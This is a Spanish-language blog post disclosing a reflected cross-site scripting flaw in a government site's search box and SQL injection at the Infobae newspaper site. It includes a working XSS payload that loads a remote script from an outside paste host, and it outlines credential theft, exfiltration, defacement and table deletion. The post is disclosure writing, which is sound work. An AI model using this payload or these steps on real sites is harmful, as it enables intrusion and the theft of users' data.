Me sorprende que una vulnerabilidad tan evidente esté presente en uno de los sitios más importantes de nuestra administración pública. Como se podrán imaginar, los sitios gubernamentales son objetivos de alto riesgo en el campo de la seguridad informática, por lo que debería someterse a los más estrictos controles durante su desarrollo y su posterior mantenimiento.

Después de todo, “cross-site scripting (XSS) es una de las vulnerabilidades más predominantes, obstinadas y peligrosas en las aplicaciones web”¹.

¿En qué consiste la vulnerabilidad?

Un usuario realiza una búsqueda en el sitio y la búsqueda original se le vuelve a presentar en un campo de texto junto a los resultados. Por ejemplo:

El código del campo de texto es el siguiente:

1

<input name="txtBusqueda2" size="40" type="text" value="hospitales del chaco" />

El problema se encuentra en la impresión de esa búsqueda original: los caracteres < y > (apertura y cierre de etiquetas HTML) no son convertidos a sus respectivas entidades.

Parece un detalle menor, pero es un enorme agujero de seguridad que permite ejecutar código arbitrario y comprometer seriamente la información de sus usuarios. Por ejemplo, si uno busca:

" /><script type="text/javascript" src="http://fpaste.org/GVwV/raw/"></script><input type="hidden" value="

Se obtiene:

1

<input name="txtBusqueda2" size="40" type="text" value=" " /><script type="text/javascript" src="http://fpaste.org/GVwV/raw/"></script><input type="hidden" value=" " />

Y, por consiguiente (clic para agrandar):

¿Qué consecuencias puede ocasionar esta vulnerabilidad?

• Se puede esconder una URL maliciosa con un acortador de URL que redirija a la víctima hacia el sitio vulnerable junto con un POST de búsqueda que permita ejecutar código arbitrario.
• Se podría obtener datos de sesión, credenciales de correo electrónico, acceso a paneles de administración, etcétera.
• Si se añaden las librerías adecuadas (como jQuery), es posible enviar estos datos a nuestros servidores de forma transparente, sin que el usuario se percate del ataque, y almacenarlos para su uso posterior.

La vulnerabilidad fue reportada oportunamente, pero no obtuve respuesta (como suele suceder en el 95% de los casos). Espero que lo solucionen antes de que sea demasiado tarde.

1 – Fragmento de “Failure to Preserve Web Page Structure (‘Cross-site Scripting’)“, publicado en 2010 CWE/SANS Top 25 Most Dangerous Programming Errors.

Y eso no es todo. Profundizando un poco más, encontré algo más grave:

1. Las líneas de debugging son públicas
2. Están imprimiendo consultas de SQL en comentarios HTML
3. No están escapando caracteres en las consultas SQL

Este último punto significa que cualquier persona puede realizar inyecciones SQL¹, o sea:

1. Obtener información sensible de los usuarios registrados en Infobae, como nombres de usuario, números de DNI, direcciones de correo electrónico, contraseñas (si no están encriptadas o si utilizan hashes md5 reversibles²), etc.
2. Modificar información del diario, como el título de la portada principal (un amigo me sugirió que ponga “Encontraron las manos de Perón”)
3. Vaciar (TRUNCATE) o eliminar (DROP) tablas y bases de datos completas.

Quise contactarme con ellos, pero la página de contacto del diario no anda, así que les envié un mail con una descripción del problema (nunca me contestaron). Para que sepan: pasaron 24 horas y los agujeros no fueron parcheados.

1 – Es posible que utilicen usuarios con jerarquía de privilegios, aunque lo dudo.
2 – “Recently, a number of projects have created MD5 rainbow tables which are easily accessible online, and can be used to reverse many MD5 hashes into strings that collide with the original input, usually for the purposes of password cracking” (Wikipedia)